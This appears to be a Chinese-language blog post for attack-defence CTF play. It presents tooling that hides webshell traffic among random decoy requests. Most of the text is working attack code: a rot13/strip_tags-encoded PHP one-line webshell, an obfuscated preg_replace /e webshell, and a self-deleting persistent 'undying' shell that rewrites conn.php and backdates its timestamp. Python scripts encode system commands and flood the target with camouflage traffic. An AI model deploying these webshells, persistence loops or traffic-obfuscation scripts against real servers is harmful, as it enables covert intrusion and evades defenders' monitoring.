Contents
  1. 1. 0x01 混淆原理
  2. 2. 0x02 编码与解码
  3. 3. 0x03 流量混淆
  4. 4. 0x04 混淆马
  5. 5. 0x05 完整代码

题目取得有点标题党,其实只是自己当时的一个想法,去实现了一遍,只有简单的一个混淆的脚本,水平比较有限,所以很多地方实现的并不是比较合理,写这篇文章的目的主要是提供思路的参考

0x01 混淆原理

原理非常简单,利用了strip_tagsrot13算法

将正常的payload编码成类似的模样

1
c<p>u<a>c<head>v<a>a<head>s<body>b<head>(<head>)<span>

然后在在一句话木马处设置解码函数

进行解码

循环遍历Web目录下所有的php文件,匹配所有的请求的函数名,然后随机发送经过编码后的混淆数据,以达到流量混淆的目的

效果图

1536939430312

标红的位置是利用webshell的流量,其余的全是混淆流量

利用webshell的流量包内容如下

1536939503331

0x02 编码与解码

核心为攻击流量的编码和webshell端的解码部分

encode.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def rot13(s, OffSet=13):
def encodeCh(ch):
f=lambda x: chr((ord(ch)-x+OffSet) % 26 + x)
return f(97) if ch.islower() else (f(65) if ch.isupper() else ch)
return ''.join(encodeCh(c) for c in s)

listhtml = ["<p>","<body>","<head>","<a>","<span>","<br>"]
def tags(str):
string = ""
for i in str:
i+=listhtml[random.randint(0,len(listhtml)-1)]
string+=i
return string

def encode(str):
return tags(rot13((str)))

使用encode对payload进行编码

1
2
3
4
print(encode("cat /root/flag"))

输出结果
p<span>n<body>g<span> <br>/<br>e<body>b<span>b<br>g<span>/<head>s<body>y<a>n<br>t<body>

在webshell端进行解码

1
2
3
<?php
echo strip_tags(str_rot13($_REQUEST['cmd']);
?>

解码效果

1536941215717

0x03 流量混淆

流量混淆的思路,首先遍历Web目录下的所有php文件,将其添加到列表php_path

1
2
3
4
5
6
7
8
9
php_path = []  #定义php文件变量列表
request_list = [] #定义传值参数名,变量列表
def traverse(path):
for item in os.listdir(path):
fullitem = os.path.join(path,item)#组合成新目录
if ".php" in fullitem:
php_path.append(fullitem)
if os.path.isdir(fullitem):
traverse(fullitem)

然后对php_path中的文件进行正则匹配,匹配出所有的GETPOSTREQUEST 的变量名,将其去重后添加到request_list列表中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def request_search(path):
for file in path:
"""
通过try except 解决了编码问题
每个文件的编码不一定都相同
"""
try:
f = open(file,"r",encoding="UTF-8").read()
except UnicodeDecodeError:
f = open(file, "r", encoding="GBK").read()
"""
通过测试正则,解决了匹配问题
$,[ 在正则中本身有特殊含义
"""
key_get = "\$_GET\['(.+?)']"
key_post = "\$_POST\['(.+?)']"
key_cookie = "\$_REQUEST\['(.+?)']"

key_get_re = re.compile(key_get)
key_post_re = re.compile(key_post)
key_cookie_re = re.compile(key_cookie)

if len(re.findall(key_get_re,f)):
for get in re.findall(key_get_re,f):
request_list.append(get)
if len(re.findall(key_post_re,f)):
for post in re.findall(key_post_re,f):
request_list.append(post)
if len(re.findall(key_cookie_re,f)):
for cookie in re.findall(key_cookie_re,f):
request_list.append(cookie)
request_list = list(set(request_list)) #去重

随机生成混淆的字符串

1
2
3
4
def confusion_payload():#混淆payload函数
random_char = "abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
random_strings = "".join(random.sample(random_char, random.randint(1, 186))) # 此处最大值,根据字符串长度
return encode(random_strings)

发送混淆流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def request_confusion(host, req, page, variable, payload):#混淆流量发送函数
#print(payload)
host = "http://"+host
"""
这里0代表GET,1代表POST,2代表COOKIE
"""
if req == 0:
url = host + "/" + page + "?" + variable + "=" + payload
try:
requests.get(url)
print("[+]GET")
except:
print("get error")
elif req == 1:
url = host+"/"+page
data = {
variable:payload,
}
try:
requests.post(url=url,data=data)
print("[+]POST")
except:
print("post error")
elif req == 2:
url = host + "/" + page
header = {
"cookie":variable+"="+payload
}
try:
requests.get(url=url,headers=header)
print("[+]Cookie")
except:
print("Cookie error")

调用发送混淆流量

1
2
3
4
5
6
7
8
9
10
11
12
def confusion(host):#调用混淆模块,这里采用随机的方式,不发送全部流量
pagecount = []
num = random.randint(3, 10)
for pagenum in range(num):
page = php_path[random.randint(0, len(php_path) - 1)]
page = page.replace(path + "\\", "").replace("\\", "/")
if page not in pagecount:#仅向未发送过的页面发送数据
pagecount.append(page)
req = random.randint(0, 2)
payload = confusion_payload()
variable = request_list[random.randint(0, len(request_list) - 1)]
request_confusion(host=host, req=req, page=page, variable=variable, payload=payload)

0x04 混淆马

对木马也进行混淆,这里参考ph牛的变形WebShell的方法

1
<?php $_=[];/*10ae9fc7d453b0dd525d0edf2ede7961*/;$_=@"$_";@$_=$_["!"=="@"].$_["!"!=="@"].$_[2].$_[3];$file=$_;@preg_replace("/abc/e",strip_tags(str_rot13($_REQUEST[$file])),"abcd"); ?>

但是只适用于php5.5版本以上,5.5以下会报错

1
Parse error: syntax error, unexpected '[' in F:\phpStudy\PHPTutorial\WWW\AWD\conn.php on line 1

这里当然可以采用内存马来不断的写入,来达到不死混淆马的目的

其中的注释部分用于检测,完整性是否被破坏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
set_time_limit(0);//程序允许执行的秒数,其中将秒数设为0表示持续运行
ignore_user_abort(True);//设置客户端断开后,自动执行
unlink(__FILE__);
$file = "conn.php";
$payload = '<?php $_=[];/*'.md5("list").'*/;$_=@"$_";@$_=$_["!"=="@"].$_["!"!=="@"].$_[2].$_[3];$file=$_;@preg_replace("/abc/e",strip_tags(str_rot13($_REQUEST[$file])),"abcd"); ?>';
while(1){
$shelltext=file_get_contents($file);
if(file_exists($file)){
if (!strstr ($shelltext,md5("list")))
{
@file_put_contents($file,$payload,FILE_APPEND);
}
}else{
@file_put_contents($file,$payload);
}
touch($file,mktime(20,15,1,11,28,2016));
sleep(1);
}
?>

0x05 完整代码

之前的代码是拆分成一个一个功能模块来实现的,在最后的时候,我把它改成了面向对象的形式来实现

贴上最终版代码

confusion.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# coding=utf-8
import os
import re
import requests
import random
import encode #调用自写encode payload编码模块

class confusion:
def __init__(self,path):
self.path = path
self.php_path = [] # 定义php文件变量列表
self.request_list = [] # 定义传值参数名,变量列表
self.traverse() #获取php文件的路径
self.request_search()
def traverse(self):
for item in os.listdir(self.path):
self.fullitem = os.path.join(self.path,item)#组合成新目录
if ".php" in self.fullitem:
self.php_path.append(self.fullitem)
if os.path.isdir(self.fullitem):
self.traverse(self.fullitem)
def request_search(self):
for file in self.php_path:
"""
通过try except 解决了编码问题
每个文件的编码不一定一致
"""
try:
f = open(file,"r",encoding="UTF-8").read()
except UnicodeDecodeError:
f = open(file, "r", encoding="GBK").read()
"""
通过测试正则,解决了匹配问题
$,[ 在正则中本身有特殊含义
"""
key_get = "\$_GET\['(.+?)']"
key_post = "\$_POST\['(.+?)']"
key_cookie = "\$_REQUEST\['(.+?)']"

key_get_re = re.compile(key_get)
key_post_re = re.compile(key_post)
key_cookie_re = re.compile(key_cookie)

if len(re.findall(key_get_re,f)):
for get in re.findall(key_get_re,f):
self.request_list.append(get)
if len(re.findall(key_post_re,f)):
for post in re.findall(key_post_re,f):
self.request_list.append(post)
if len(re.findall(key_cookie_re,f)):
for cookie in re.findall(key_cookie_re,f):
self.request_list.append(cookie)

self.request_list = list(set(self.request_list))
def request_confusion(self,host, req, page, variable, payload):#混淆流量发送函数
host = "http://"+host
"""
这里0代表get,1代表post,2代表cookie
"""
if req == 0:
url = host + "/" + page + "?" + variable + "=" + payload
try:
requests.get(url,timeout=2)
except:
pass
#print("ERROR GET")
elif req == 1:
url = host+"/"+page
data = {
variable:payload,
}
try:
requests.post(url=url,data=data,timeout=2)
except:
pass
#print("ERROR POST")
elif req == 2:
url = host + "/" + page
header = {
"cookie":variable+"="+payload
}
try:
requests.get(url=url,headers=header,timeout=2)
except:
pass
#print("ERROR COOKIE")
def confusion(self,host):#调用混淆模块,这里采用随机的方式,不发送全部流量
pagecount = []
num = random.randint(3, 10)
i = 0
for pagenum in range(num):
page = self.php_path[random.randint(0, len(self.php_path) - 1)]
page = page.replace(self.path + "\\", "").replace("\\", "/")
if page not in pagecount:#仅向未发送过的页面发送数据
pagecount.append(page)
req = random.randint(0, 2)
payload = encode.confusion_payload()
variable = self.request_list[random.randint(0, len(self.request_list) - 1)]
self.request_confusion(host=host, req=req, page=page, variable=variable, payload=payload)

encode.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import random

def rot13(s, OffSet=13):
def encodeCh(ch):
f=lambda x: chr((ord(ch)-x+OffSet) % 26 + x)
return f(97) if ch.islower() else (f(65) if ch.isupper() else ch)
return ''.join(encodeCh(c) for c in s)


listhtml = ["<p>","<body>","<head>","<a>","<span>","<br>"]


def tags(str):
string = ""
for i in str:
i+=listhtml[random.randint(0,len(listhtml)-1)]
string+=i
return string


def encode(str):
return tags(rot13((str)))

payload = "cat /root/flag"

print(encode(payload)) #测试输出真正的编码后的payload
"""
strip_tags()
"""
def confusion_payload():#混淆payload函数
random_char = "abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
random_strings = "".join(random.sample(random_char, random.randint(1, 186))) # 此处最大值,根据字符串长度
return encode(random_strings)

# for i in range(100): #测试输出混淆payload部分
# print(confusion_payload())

attack.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# coding=utf-8
import requests
import encode
import confusion

conf = confusion.confusion("F:\\phpStudy\\PHPTutorial\\WWW\\awd")

url = "http://10.232.54.176/awd/conn.php"
payload = 'system("type flag")'
payload_encode = encode.encode(payload)
#print(payload_encode)
data = {
"Arra":payload_encode,
}

conf.confusion("10.232.54.176/awd")
html = requests.post(url,data=data).text
conf.confusion("10.232.54.176/awd")
print(html)

#print(encode.encode("system('ipconfig');"))
Contents
  1. 1. 0x01 混淆原理
  2. 2. 0x02 编码与解码
  3. 3. 0x03 流量混淆
  4. 4. 0x04 混淆马
  5. 5. 0x05 完整代码